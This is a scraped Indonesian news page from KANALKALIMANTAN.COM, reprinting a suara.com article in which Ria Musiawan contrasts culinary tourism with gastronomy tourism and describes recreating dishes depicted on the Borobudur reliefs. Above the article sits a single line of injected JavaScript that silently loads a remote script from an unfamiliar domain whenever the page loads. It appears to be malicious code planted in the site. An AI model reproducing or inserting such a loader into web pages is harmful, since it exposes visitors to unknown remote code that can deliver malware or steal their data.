(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Bagi sebagian orang mungkin sudah tidak asing lagi dengan istilah wisata kuliner. Wisata kuliner sudah menjadi aktivitas wajib yang dilakukan oleh sebagian masyarakat saat berkunjung ke suatu daerah atau negara.
Itu dilakukan atas banyak dasar mulai dari kegemaran atau sekadar penasaran untuk mencicipi menu masakan khas dari daerah yang di kunjungi.
Namun tahu kah Anda, selain wisata kuliner, dalam beberapa tahun terakhir ini telah berkembang istilah wisata gastronomi? Meskipun keduanya sama-sama masuk dalam dunia makanan, namun keduanya memiliki arti yang berbeda.
Vice President Indonesian Gastronomy Association, Ria Musiawan mengatakan masih banyak masyarakat yang belum memahami bahwa wisata kuliner dan wisata gastronomi memiliki pemahaman dan arti yang berbeda.
Baca juga : DPR Setuju Kemenristek Dibubarkan, Gabung di Bawah Kemendikbud
Ria menjelaskan, wisata kuliner hanya fokus kepada proses memasak hingga proses penyajiannya. Sedangkan untuk gastronomi lebih dari itu.
Gastronomi menekankan pada nilai sejarah dan kearifan dari setiap makanan yang ada. Selain itu, gastronomi juga lebih fokus memberitahukan nilai gizi dari makanan tersebut.
“Jadi lebih ke historinya ya dan nilai gizinya seperti apa dari setiap makanan yang disajikan. Kalau kuliner kan hanya soal proses memasak saja. Gastronomi kita mempelajari sejarahnya,” kata Ria, Kamis (8/4/2021).
Ia pun bercerita, belum lama ini Indonesia Gastronomy Association menyelenggarakan pameran makanan dari hasil gastronomi. Di mana ia membuat sebuah makanan dari abad ke 7 dan 8. Selain itu para anggota IGA membuat makanan yang ada di relief Candi Borobudur.
Baca juga : Hadapi Persija, Laskar Antasari Waspadai Pergerakan Liar Riko dan Osvaldo Haay
“Kita buat sekitar 104 jenis makanan ya dari relief Candi Borobudur. Disitu kan (Direlief Candi Borobudur) ada gambar makanan yang disajikan seperti lele, terus ada kerbau dan kambing. Nah kita buat, kita cari tahu bumbunya zaman dulu tuh seperti apa, karena kan di relief tersebut gak ada resepnya kan,” ujarnya.
Dari kegiatan tersebut, IGA mendapati bahwa zaman dulu untuk mendapatkan rasa pedas bukan bersumber dari cabai, melainkan merica.
“Jadi nyebutnya zaman dulu itu cabai jawa. Jadi bentuknya kayak biji merica itu. Terus banyak makanan zaman dulu seperti kambing yang mau disajikan harus yang sudah disteril.”
“Kenapa, ternyata dagingnya lebih empuk, itu biasanya disajikan untuk makanan raja. Dan memberikan cita rasa yang lebih manis. Jadi gastrtonomi bukan hanya membelajari bumbunya saja tapi proses memasaknya juga,” imbuhnya. (suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.